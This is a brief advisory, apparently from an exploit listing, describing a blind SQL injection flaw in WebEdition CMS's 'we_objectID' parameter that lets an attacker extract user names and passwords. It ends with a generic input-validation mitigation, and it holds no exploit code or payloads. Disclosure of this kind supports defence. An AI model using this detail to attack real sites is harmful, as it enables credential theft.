WebEdition CMS – Blind SQL Injection Exploit

WebEdition CMS is vulnerable to Blind SQL Injection. This exploit allows an attacker to extract the username and password of a user from the database. The vulnerability is due to the lack of proper input validation in the 'we_objectID' parameter. An attacker can exploit this vulnerability by sending a specially crafted SQL query to the vulnerable parameter. This will allow the attacker to extract the username and password of a user from the database.

Mitigation:

Input validation should be performed on all user-supplied data to prevent SQL injection attacks.
